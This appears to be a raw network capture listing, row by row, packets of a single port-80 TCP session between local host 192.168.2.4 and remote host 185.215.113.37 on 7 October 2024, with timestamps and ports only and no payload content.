Oct 7, 2024 21:19:14.072629929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.072642088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.072681904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.072685957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.072710991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.072725058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.072753906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.072762012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.072797060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.072807074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.072825909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.072839975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.072860956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.072866917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.072901964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.072902918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.072940111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.072947025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.072974920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.072981119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.073013067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.073024988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.073054075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.073064089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.073096991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.073106050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.073131084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.073137045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.073164940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.073174953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.073201895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.073205948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.073237896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.073244095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.073271036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.073281050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.073307037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.073312998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.073347092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.073869944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.073929071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.073950052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.073966026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.073993921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.074002028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.074018955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.074045897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.074057102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.074090004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.074112892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.074127913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.197341919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.197413921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.197448969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.197483063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.197520971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.197526932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.197556019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.197585106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.197593927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.197602987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.197937965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.198024035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.198077917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.198091984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.198122978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.198157072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.198188066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.198204994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.198232889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.198242903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.198278904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.198286057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.198319912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.198332071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.198364973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.198374987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.198399067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.198405027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.198435068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.198443890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.198476076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.199074030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.199107885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.199121952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.199143887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.199151039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.199183941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.199194908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.199237108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.199248075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.199281931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.199290037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.199316025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.199323893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.199356079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.199368000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.199410915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.199424028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.199455976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.199467897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.199491978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.199508905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.199526072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.199534893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.199561119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.199577093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.199594021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.199600935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.199634075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.321507931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.321597099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.321628094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.321681023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.321715117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.321739912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.321768045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.321803093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.321810961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.321830988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.321837902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.321854115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.321880102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.324896097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.324966908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.325001001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.325031996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.325040102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.325067043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.325078011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.325109005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.325115919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.325154066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.325155973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.325169086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.325195074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.325201988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.325212955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.325236082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.325244904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.325268984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.325278044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.325303078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.325320005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.325345039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.325366974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.325381041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.325401068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.325409889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.325436115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.325440884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.325469017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.325478077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.325501919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.325510025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.325536013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.325544119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.325570107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.325576067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.325603962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.325609922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.325637102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.325644016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.325675964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.325687885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.325700045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.325721979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.325740099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.445883036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.445930004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.445962906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.445991039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.445997000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.446027040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.446033001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.446058989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.446080923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.446089029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.446130991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.446139097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.446167946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.446198940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.446213007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.446233988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.446237087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.446278095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.446964979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.447134972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.447182894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.447432041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.447494030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.447541952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.447575092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.447585106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.447608948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.447614908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.447643042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.447649956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.447676897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.447685003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.447710037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.447715998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.447751999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.447762966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.447794914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.447801113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.447829008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.447876930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.447887897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.447909117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.447917938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.447945118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.447949886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.447981119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.447985888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.448020935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.448061943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.448095083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.448105097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.448128939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.448136091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.448167086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.448247910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.448276997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.448287964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.448318958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.448367119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.448400974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.448409081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.448440075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.448515892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.448549032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.448589087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.570477009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.570605993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.570641994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.570672035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.570704937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.570739985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.570772886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.570772886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.570775986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.570806026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.570929050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.571650028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.571703911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.571712017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.571748972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.571774006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.571815968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.571827888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.571863890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.571868896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.571893930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.571903944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.571933031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.571937084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.571973085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.572002888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.572016001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.572042942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.572119951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.572166920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.572174072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.572213888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.572226048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.572258949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.572268009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.572293997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.572303057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.572330952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.572330952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.572365046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.572372913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.572403908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.572477102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.572510958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.572540045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.572544098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.572556019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.572580099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.572607040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.572622061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.572649956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.572684050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.572691917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.572722912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.572765112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.572796106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.572829008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.572841883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.572870016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.572978973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.573045015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.573072910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.573087931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.573113918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.694739103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.694791079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.694827080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.694844961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.694886923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.694933891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.694972992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.694976091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.695003986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.695022106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.695050001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.695599079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.695636988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.695669889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.695682049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.695710897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.696041107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.696122885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.696168900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.696232080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.696260929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.696274042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.696297884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.696753025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.696787119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.696798086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.696820974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.696825981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.696861029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.698976040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.699062109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.699126959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.699160099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:14.699172020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.699198961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:14.699628115 CEST	80	49730	185.215.113.37	192.168.2.4
